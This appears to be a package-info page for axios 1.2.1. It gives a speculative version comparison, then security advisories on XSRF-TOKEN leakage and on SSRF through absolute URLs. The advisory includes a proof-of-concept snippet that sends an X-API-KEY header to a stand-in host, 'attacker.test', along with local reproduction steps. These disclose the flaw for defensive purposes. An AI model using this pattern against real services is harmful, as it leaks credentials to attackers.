Axios is a popular promise-based HTTP client used in both browser and Node.js environments, streamlining API interactions for developers. Comparing versions 1.2.1 and 1.2.0 reveals subtle yet potentially important distinctions. The core dependencies remain consistent: form-data, proxy-from-env, and follow-redirects, ensuring backward compatibility for existing functionality. However, the packed size of axios 1.2.1 increased slightly to 1644553, compared to 1632778 of version 1.2.0, suggesting internal improvements, bug fixes, or minor feature enhancements contributing to a more robust library. Developers should examine the changelog between these versions carefully to understand the specific changes.
Given the breadth of development dependencies like gulp, karma, mocha, eslint, and rollup, it's likely that the update focuses on enhanced testing, linting, and build processes, improving the developer experience when contributing to the project or debugging issues. The release dates, approximately two weeks apart, indicate a steady pace of development and maintenance. While the core functionality described in the description "Promise based HTTP client for the browser and node.js" remains identical, the incremental update to version 1.2.1 likely incorporates stability and performance improvements warranting an upgrade for users seeking the most refined version of the library. Check out the github repository for any added feature.
All the vulnerabilities related to the version 1.2.1 of the package
Axios Cross-Site Request Forgery Vulnerability
An issue discovered in Axios 0.8.1 through 1.5.1 inadvertently reveals the confidential XSRF-TOKEN stored in cookies by including it in the HTTP header X-XSRF-TOKEN for every request made to any host allowing attackers to view sensitive information.
axios Requests Vulnerable To Possible SSRF and Credential Leakage via Absolute URL
A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463
A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.
Consider the following code snippet:
import axios from "axios";
const internalAPIClient = axios.create({
baseURL: "http://example.test/api/v1/users/",
headers: {
"X-API-KEY": "1234567890",
},
});
// const userId = "123";
const userId = "http://attacker.test/";
await internalAPIClient.get(userId); // SSRF
In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.
It is recommended that:
baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.Follow the steps below to reproduce the issue:
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);
$ node main.js
this is server2
Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.
baseURL and does not validate path parameters is affected by this issue.